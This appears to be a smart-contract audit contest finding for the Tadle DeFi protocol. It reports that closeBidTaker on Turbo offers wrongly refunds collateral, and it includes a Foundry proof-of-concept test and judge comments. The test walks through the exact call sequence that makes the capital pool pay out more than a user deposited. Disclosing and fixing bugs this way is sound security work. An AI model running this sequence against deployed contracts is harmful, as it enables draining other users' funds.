Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

A user who performs a closeBidTaker Turbo can end up with more money than they initially put in to create a Taker.

Summary

When a user creates a taker on an offer, if instead of aborting their bid taker, they choose to close the bid taker, the user ends up with more money than they initially put in.

Vulnerability Details

There is an error in the calculation of the refund amount, which causes a user to receive the equivalent of the collateral instead of the amount they initially staked for createTaker when they close a bid taker turbo instead of aborting it.

Add the code below to the Test contract PreMarketsTest: PreMarketsTest.t.sol.

function test_get_more_amount() public {
vm.startPrank(user);
//1 - user create an offer Turbo
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 0.01 * 1e18, 24000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
//2 - user1 send 5.175e15 USDC to the capitalPool to craete the taker
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
uint256 amountSent = 5.175e15;
//3 - user 1 abort the offer
vm.prank(user);
preMarktes.abortAskOffer(stockAddr, offerAddr);
//4 - user 1 decide to close de bid taker
vm.startPrank(user1);
address stock1Addr = GenerateAddress.generateStockAddress(1);
deliveryPlace.closeBidTaker(stock1Addr); //@audit by closing the user get more money that he put in the offer
//preMarktes.abortBidTaker(stock1Addr, offerAddr);
//5 - The user get like he put collateral, he get 1.2e16 USDC instead of 5.175e15
//the more the collateral value is high the more the user get refund
uint256 amountRefunf = tokenManager.userTokenBalanceMap(user1, address(mockUSDCToken), TokenBalanceType.RemainingCash);
console2.log("balance", amountRefunf); // amount is 1.2e16 USDC but he aonly put
assertEq(amountSent, amountRefunf,"Amount sent should be equal to the balance to refund");
vm.stopPrank();
}

Run the command

forge test --mc PreMarkets --mt test_send_more_eth

We get the result

Ran 1 test for test/PreMarketsAdmin.t.sol:PreMarketsAdminTest
[FAIL. Reason: Amount sent should be equal to the balance to refund: 5175000000000000 != 12000000000000000] test_get_more_amount() (gas: 995149)
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 13.05ms (2.72ms CPU time)
Ran 1 test suite in 166.53ms (13.05ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/PreMarkets.t.sol:PreMarketsTest
[FAIL. Reason: Amount sent should be equal to the balance to refund: 5175000000000000 != 12000000000000000] test_get_more_amount() (gas: 995149)
Encountered a total of 1 failing tests, 0 tests succeeded

Impact

The user can exploit this flaw to drain funds from the capital pool. The higher the collateral level, the more money the user can walk away with compared to what they initially invested.

Tools Used

forge and manul review

Recommendations

The closeBidTaker function should include a check to verify if it is a Turbo offer and disregard the collateral in such cases.

Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-Premarkets-listOffer-turbo-settleAskMaker-exploit-settlement

Valid high severity, this allows resellers listing offers via `listOffer/relistOffer` to game the system. Based on the inherent design of Turbo mode not requiring takers making ask offers for the original maker offer to deposit collateral, the wrong refund of collateral to takers even when they did not deposit collateral due to turbo mode during settleAskMaker allows possible draining of pools.

Appeal created

0xbrivan2 Auditor
12 months ago
0xbrivan2 Auditor
12 months ago
0xnevi Lead Judge
11 months ago
0xnevi Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-closeBidTaker-lack-check-abort-status-drain

Valid high, for unsettled ask offers by the original maker, the initial remaining maker collateral is already refunded as seen [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L624-L629)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.